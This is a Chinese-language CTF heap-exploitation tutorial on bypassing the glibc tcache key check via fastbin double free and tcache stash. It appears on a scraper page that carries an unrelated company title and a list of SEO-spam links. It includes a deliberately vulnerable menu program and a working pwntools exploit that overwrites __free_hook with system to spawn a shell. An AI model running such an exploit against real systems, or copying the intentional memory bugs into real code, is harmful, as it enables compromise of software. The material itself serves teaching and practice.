当前位置: 首页 > news >正文

聊城网站建设有限公司新媒体营销案例分析

聊城网站建设有限公司,新媒体营销案例分析,采集做网站,网站怎么备案啊参考看雪课程:PWN 探索篇 前言 tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free 之前是 double free …

参考看雪课程:PWN 探索篇


前言

tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。


一、Tcache Stash with Fastbin Double Free

之前是 double free 后,chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下:

通过多次释放同样大小的堆块,能在内存中实现下述布局

其中 fastbin 中的 chunk8 经过了double free(fastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致) 

当我们申请七次清空 tcachebin 时:

当再一次申请该大小的 chunk 会发生什么?这个过程有些绕,让我们慢慢理解。

首先,fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk,而且别忘了,取出的 chunk 的值未改变,因此指针还存在:

然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中,首先头部的 chunk9 进入 tcachebin

然后轮到 chunk8 进入 tcachebin

然后又是 chunk9 进入 tcachebin

接下来你可能会认为,将 chunk9 申请出来修改其 next 即可实现 tcache poisoning,然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk,即使 chunk9 的 next 被修改,也无法更多的申请出 poisoning 的堆块。

不过注意已经取出的合法 chunk 们,可以发现,chunk8已经被我们取出,因此我们直接修改chunk8 的 next 指针,即可实现 tcache poisoning。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(3,0x8,b'/bin/sh\x00')
pause()
delete(3)
io.interactive()
http://www.khdw.cn/news/985.html

相关文章:

  • 商务网站策划 网站目标与经营模式定位东莞网络推广营销
  • 做毕业设计网站需要的工具站长之家音效素材
  • wordpress设置网址导航关键词优化排名查询
  • 网站空间 流量西安seo排名扣费
  • 嘉兴快速建站合作班级优化大师怎么下载
  • 南部县网站建设推广网络推广
  • 怎么编辑网站培训学校招生营销方案
  • 女生做网站主题有哪些网络推广电话销售技巧和话术
  • 网页制作专业必备seo在哪学
  • 外贸网站建设软件有哪些seo搜索优化网站推广排名
  • 商城类网站方案网络做推广公司
  • 桂林生活网官方网站天津seo顾问
  • 源码网站推荐百度客服系统
  • 佛山网站建设哪家专业社交媒体营销策略有哪些
  • 邯郸有学做搭建网站的吗微信群二维码推广平台
  • 做网站开公司网站自动秒收录工具
  • b2b的典型网站提升关键词
  • 做优化b2b网站附近有没有学电脑培训的
  • 运城建设厅官方网站磁力兔子搜索引擎
  • 门户网站想要微信登录怎么做德州seo整站优化
  • 网站首页页面设计多少钱一个网站的seo优化有哪些
  • 用ul做的网站为何浮动不上去saascrm国内免费pdf
  • 北京网络营销推广培训哪家好成都网站优化排名
  • 上海专业商城建设重庆seo网络营销
  • deramweaver做网站重庆网站推广专家
  • 惠阳做网站公司百度一下首页版
  • 一站式广告服务供应商推广普通话手抄报内容50字
  • 公司网站上线的通知外链购买平台
  • 广告网站设计百度seo优化方法
  • 快速网站建设公司电工培训学校